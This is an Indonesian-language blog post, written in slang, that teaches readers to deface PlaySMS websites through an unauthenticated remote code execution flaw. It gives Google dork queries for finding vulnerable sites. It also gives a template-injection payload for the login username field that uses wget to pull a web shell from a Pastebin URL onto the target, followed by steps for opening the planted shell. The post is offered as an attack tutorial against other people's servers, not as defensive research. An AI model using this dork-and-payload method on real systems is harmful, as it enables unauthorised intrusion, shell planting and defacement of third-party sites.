Hallo para hamkers...
Welcome my blogger!!
Ok whasap kambali lagi dengan saya yg katanya gans bngt:v kali ini gwa akan shere tutorial cara deface PlaySMS Unauthenticated RCE Upload Shell ok tanpa bnyk nmng langsung aja ke tutorial nya:b
Bahan-bahan
-dork >>inurl:?app=main intitle:sms
>>inurl:?index php=main intitle:recover password
-Payload RCE :
>>{{`wget https://pastebin.com/raw/YH2SJenM -O asw.php`}}<< (untuk asw.php nya kalian bisa ubah nama sesuka kalian)
-kuota-mba google
-kesabaran")
Step by step
Yg pertama kalian dorking dlu cuk klo sdh dapat targetnya skrg kalian tinggal masukin payload RCE nya:v
Klo gak paham
liat gambar
Isikan cmn di username ny aja untuk password nya biarkan gak usah di isi
Selanjutnya klik login
Dan cara panggil shell nya target.com/nama shell lu tadi atau target/path/shell lu
Dan bom
Nah berhasil kn
Ok skrg kita coba up shell lagi
Dan bom berhasil
Simpel kn?
Ok cukup sekian tutorial nya semoga bermanfaat dan jgn lupa komen:v
By by by by
Referensi
https://sec.linuxploit.com/2020/04/playsms-unauthenticated-rce-upload-shell.html?m=1
Posting Komentar